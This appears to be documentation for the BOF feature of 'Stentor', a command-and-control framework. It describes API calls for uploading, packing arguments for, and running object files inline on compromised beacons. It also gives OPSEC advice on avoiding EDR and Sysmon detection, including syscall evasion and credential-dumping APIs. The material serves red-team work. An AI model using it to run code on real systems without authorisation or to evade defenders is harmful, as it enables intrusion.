Skip to content

Beacon Object Files (BOF)

Beacon Object Files are compiled C object files (.o) that execute inline within the beacon's process. Unlike fork-and-run techniques that spawn a sacrificial process, BOFs run directly in the beacon's memory space -- no child process creation, no cross-process injection, and no on-disk artifacts.

Stentor provides a server-side BOF library for storing and managing BOFs, an argument packing utility for binary argument serialization, and an execution API that dispatches BOFs to beacons as tasks.

What is a BOF?

A BOF is a COFF (Common Object File Format) object file compiled from C source. The beacon's BOF loader resolves imports, relocates symbols, and calls the entry point function. BOFs have access to the Windows API and the beacon's internal API (output, token, etc.) through a dynamic function resolution (DFR) mechanism. When the BOF returns, its memory is freed.


Architecture

sequenceDiagram
    participant Operator as Operator
    participant API as Stentor API
    participant Library as BOF Library (DB)
    participant Queue as Task Queue
    participant Beacon as Beacon

    Note over Operator,Library: BOF Upload (one-time)
    Operator->>API: POST /cockpit/bof/upload (multipart)
    API->>Library: Store BOF binary + metadata
    API-->>Operator: {id, name, size}

    Note over Operator,Beacon: BOF Execution
    Operator->>API: POST /cockpit/bof/execute {bof_id, args}
    API->>Library: Load BOF binary by ID
    API->>Queue: Enqueue "bof" task with base64 data
    API-->>Operator: {task_id, status: "queued"}
    Beacon->>Queue: Poll for tasks
    Queue-->>Beacon: BOF task (bof_data + packed args)
    Beacon->>Beacon: COFF loader: relocate, resolve, execute
    Beacon->>API: Submit task result (BOF output)

BOF Library Management

The BOF library stores compiled object files in the database with metadata. Binary data is stored as BYTEA -- the list endpoint returns metadata only (no binary blobs) for efficiency.

Upload a BOF

POST /api/v1/cockpit/bof/upload

Upload a compiled BOF object file to the library. Uses multipart form encoding.

Form fields:

Field Type Required Description
name string Yes Human-readable name for the BOF
description string No Description of what the BOF does
arch string No Target architecture: x64 or x86 (default: x64)
entry_point string No Entry function name (default: go)
bof file Yes The compiled .o object file
curl -s -X POST https://stentor.app/api/v1/cockpit/bof/upload \
  -H "Authorization: Bearer $TOKEN" \
  -F "name=whoami" \
  -F "description=BOF implementation of whoami /all" \
  -F "arch=x64" \
  -F "entry_point=go" \
  -F "bof=@/path/to/whoami.x64.o"

Response (201 Created):

{
  "id": "a3b1c2d4-...",
  "name": "whoami",
  "size": 4096
}

List BOFs

GET /api/v1/cockpit/bof/list

Returns all BOFs in the library. Binary data is excluded -- only metadata and computed size are returned.

curl -s https://stentor.app/api/v1/cockpit/bof/list \
  -H "Authorization: Bearer $TOKEN"

Response fields:

Field Type Description
id string BOF UUID
name string BOF name
description string BOF description
arch string Architecture (x64 or x86)
entry_point string Entry function name
size int Binary size in bytes
created_at string ISO 8601 creation timestamp

Delete a BOF

DELETE /api/v1/cockpit/bof/:id

Remove a BOF from the library. This deletes both the metadata and the stored binary data.

curl -s -X DELETE https://stentor.app/api/v1/cockpit/bof/BOF_UUID \
  -H "Authorization: Bearer $TOKEN"

Response (200 OK):

{
  "deleted": "a3b1c2d4-..."
}

BOF Execution

POST /api/v1/cockpit/bof/execute

Execute a BOF on a target beacon. The BOF can be referenced by library ID or provided as raw base64-encoded bytes.

Request body:

Field Type Required Description
beacon_id string Yes UUID of the target beacon
bof_id string No UUID of a BOF in the library (mutually exclusive with bof_data)
bof_data string No Base64-encoded raw BOF bytes (mutually exclusive with bof_id)
args string No Base64-encoded packed arguments (see Argument Packing)
entry_point string No Override the entry function name (default: library value or go)

Library vs Raw

Use bof_id to reference a pre-uploaded BOF from the library -- the server loads the binary, base64-encodes it, and includes it in the task. Use bof_data for ad-hoc execution of BOFs not stored in the library.

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bof_id": "BOF_UUID",
    "args": "BASE64_PACKED_ARGS"
  }'
# Base64-encode the BOF file and execute directly
BOF_B64=$(base64 -w0 /path/to/enum_users.x64.o)

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"beacon_id\": \"BEACON_UUID\",
    \"bof_data\": \"$BOF_B64\",
    \"entry_point\": \"go\"
  }"

Response (202 Accepted):

{
  "task_id": "e5f6a7b8-...",
  "beacon_id": "BEACON_UUID",
  "status": "queued"
}

The task result is retrieved by polling the beacon's task list until the task status is completed. The task output contains the BOF's printed output (via BeaconPrintf / BeaconOutput).


Argument Packing

BOFs receive arguments as a packed binary buffer. The argument packing API serializes typed arguments into the bof_pack binary format used by the beacon's BOF loader.

POST /api/v1/cockpit/bof/pack

Pack arguments into base64-encoded binary format for BOF execution.

Request body:

Field Type Required Description
format string Yes Format string specifying argument types (one character per argument)
arguments array Yes Array of typed argument objects

Format specifiers:

Specifier Type Value Binary Layout
b Binary blob Base64-encoded string [4-byte LE length][raw bytes]
i 32-bit integer JSON number [4-byte LE int32]
s 16-bit short JSON number [2-byte LE int16]
z ANSI string String [4-byte LE length][string + null terminator]
Z Wide string (UTF-16LE) String [4-byte LE length][UTF-16LE + null (2 bytes)]

Each argument object has:

Field Type Description
type string Format specifier character (b, i, s, z, Z)
value any The argument value (type depends on specifier)

Format-Argument Alignment

The format string length must exactly match the arguments array length, and each argument's type field must match the corresponding format character. Mismatches return a 400 Bad Request error.

Example -- pack a string and integer argument:

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/pack \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "format": "zi",
    "arguments": [
      {"type": "z", "value": "CORP\\Administrator"},
      {"type": "i", "value": 1}
    ]
  }'

Response:

{
  "packed": "EgAAAA...",
  "size": 28
}

The packed value is passed directly as the args field in the BOF execution request.

Example -- full workflow (pack then execute):

# Step 1: Pack arguments
PACKED=$(curl -s -X POST https://stentor.app/api/v1/cockpit/bof/pack \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "format": "Zi",
    "arguments": [
      {"type": "Z", "value": "DC01.corp.local"},
      {"type": "i", "value": 389}
    ]
  }' | jq -r '.packed')

# Step 2: Execute BOF with packed arguments
curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"beacon_id\": \"BEACON_UUID\",
    \"bof_id\": \"BOF_UUID\",
    \"args\": \"$PACKED\"
  }"

OPSEC Considerations

Detection Surface

BOF execution occurs entirely in-process -- no child process creation, no cross-process injection. This makes BOFs significantly harder to detect than fork-and-run techniques. However, the BOF's behavior (API calls, network connections, registry access) is still subject to EDR monitoring.

  • MITRE ATT&CK: T1620 (Reflective Code Loading)
Concern Mitigation
In-process execution BOFs run in the beacon's process. A crash in a BOF crashes the beacon. Test BOFs in a lab before deploying to production beacons.
Memory artifacts BOF memory is freed after execution, but transient allocations may leave residual artifacts in the process heap.
API call patterns BOFs that call suspicious APIs (e.g., OpenProcess, MiniDumpWriteDump) are subject to the same behavioral detection as any other code. Combine with syscall-method indirect and beacon_gate enable for syscall-level evasion.
No child process BOFs avoid Sysmon Event 1 (process creation) and Event 8 (CreateRemoteThread) -- these are the primary detection vectors for fork-and-run alternatives.
Entry point The default entry point go is a well-known BOF convention. Custom entry points do not provide meaningful evasion benefit but can be used for BOFs with non-standard function names.

BOF vs Fork-and-Run

Prefer BOFs over fork-and-run (execute-assembly, powerpick) in EDR-heavy environments. Fork-and-run creates a sacrificial process (detectable via process creation events), injects code (detectable via cross-process memory writes), and captures output via a named pipe (detectable via pipe creation events). BOFs avoid all of these artifacts.

BOF Development

BOFs are compiled with cl.exe (MSVC) or x86_64-w64-mingw32-gcc (MinGW cross-compiler) using the /c flag to produce an object file without linking. The beacon.h header provides the beacon API (output functions, token management, argument parsing). See the TrustedSec BOF documentation for development guidance.